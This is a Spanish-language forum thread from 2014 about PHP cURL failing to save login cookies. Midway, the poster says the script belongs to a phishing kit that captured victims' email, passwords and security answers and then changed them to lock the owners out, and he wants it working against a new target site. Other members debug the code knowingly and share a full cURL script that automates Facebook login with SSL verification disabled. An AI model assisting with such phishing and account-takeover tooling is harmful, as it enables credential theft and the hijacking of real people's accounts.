[SOLUCIONADO] Inquietud (Curl PHP)

Iniciado por The-Fenix, Agosto 05, 2014, 03:29:48 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 05, 2014, 03:29:48 PM Ultima modificación: Noviembre 23, 2014, 12:16:13 PM por Expermicid
Hola amigos como estan.. Hoy vengo con una inquietud que me gustaria me pudieran resolver....
Estoy manejando la funcion CURL de php para logearme en una pagina pero al momento de querer guardar las cookies en un txt en el servidor donde envio la peticion http no me las guarda y nose porque =( ...
Mi codigo es este:

Código: php
$user="usuario";
$pass="clave";
$cookie_file = ""; 

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"url pagina");
curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1"); 
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept-Language: es-es,en")); 
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_POST, 7);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"user=".$user."&si_pass=".$pass.");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt"); 
curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt"); 

$remote_server_output = curl_exec ($ch); //Guardar Pagina
$error=curl_error($ch);
curl_close ($ch);   // cerramos la sesión cURL
print_r($remote_server_output);
print_r($error);


La funcion de este Script es enviar una peticion http y a traves de esta peticion logearme en una pagina pero el problema radica al querer guardar las cookies para luego usar las cookies en otras peticiones...

No se cual es mi error al querer guardar las cookies..
Agradeceria me ayudaran :D

Los archivos tienen permisos? (777)

Saludos!
ANTRAX


si tienen los permisos 777 =( pero nose porque no me guarda la cookies...
Inicialmente ese script es parte del codigo que hice para un phishing el cual cumplia la funcion de capturar los datos de la cuenta correctos que son el correo, clave,pregunta y respuesta secreta, una ves tenia todos estos datos automaticamente los cambiaba dejando a la victima sin la cuenta pero para hacer eso necesitaba las cookies y como no me funciono usar las cookies por la funcion CURL, me puse a investigar el codigo fuente y WALA la pagina dejaba visible las cookies entonces del codigo fuente tomaba las cookies y  asi podia hacer las peticiones.... pero ahora que quiero hacer otro phishing para otra pagina no puedo porque no me guarda las cookies con la funcion CURL =(

pos veo un errorcillo, no se si es del code hightlight del foro o tuyo sin embargo, mira en la linea 14 estas concatenando sobre unas comillas abiertas que nunca cierran:

Código: php
"user=".$user."&si_pass=".$pass.");


quitale esas ultimas comillas:

Código: php
"user=".$user."&si_pass=".$pass);


y solo por intento xDD inténtale pasar un urlenconde a la variable post por otro lado (estupidez mía tal vez) revisa que la extensión curl en el PHP este activada e instalada correctamente :)

Saludos

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte

Si ese error de las comillas no lo corregi cuando copie el script y pues la funcion curl en el hosting donde almaceno mi web si esta activo, me a permitido hacer peticiones http a traves de el curl solo que las cookies no logro guardarlas =(

Agosto 06, 2014, 01:20:35 AM #5 Ultima modificación: Agosto 06, 2014, 01:24:24 AM por hielasangre
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Si ese error de las comillas no lo corregi cuando copie el script y pues la funcion curl en el hosting donde almaceno mi web si esta activo, me a permitido hacer peticiones http a traves de el curl solo que las cookies no logro guardarlas =(

estas seguro que loguea?
Proba con confirmar si loguea en el sitio, si podes dar mas info deciem y te ayudo.


para fb use uno de la red algo asi:
Código: php

<?php
echo 'loading <br/>';
        $login_email = 'usuario';
        $login_pass = 'password';
       
$fp = fopen("fb_cookies.txt", w);
fclose($fp);

echo 'still loading <br/>';
       
if (fb_login($login_email,$login_pass)){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://login.facebook.com/login.php?&next=https://apps.facebook.com/triviacrack/');
curl_setopt($ch, CURLOPT_POSTFIELDS,'charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email='.urlencode($login_email).'&pass='.urlencode($login_pass).'&pass_placeholder=&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, str_replace('\\','/',dirname(__FILE__)).'/fb_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, str_replace('\\','/',dirname(__FILE__)).'/fb_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)");
$html = curl_exec($ch);

curl_close($ch);

  echo $html;
}

 
function fb_login($login_email, $login_pass){

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://login.facebook.com/login.php?&next=https://apps.facebook.com/triviacrack/');
curl_setopt($ch, CURLOPT_POSTFIELDS,'charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email='.urlencode($login_email).'&pass='.urlencode($login_pass).'&pass_placeholder=&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIEJAR, str_replace('\\','/',dirname(__FILE__)).'/fb_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, str_replace('\\','/',dirname(__FILE__)).'/fb_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)");
$html = curl_exec($ch);
$err = 0;
$err = curl_errno($ch);
curl_close($ch);

if ($err != 0){
echo 'error='.$err."\n";
return(false);
} else {
echo 'fetching..';
return(true);
}

}
?>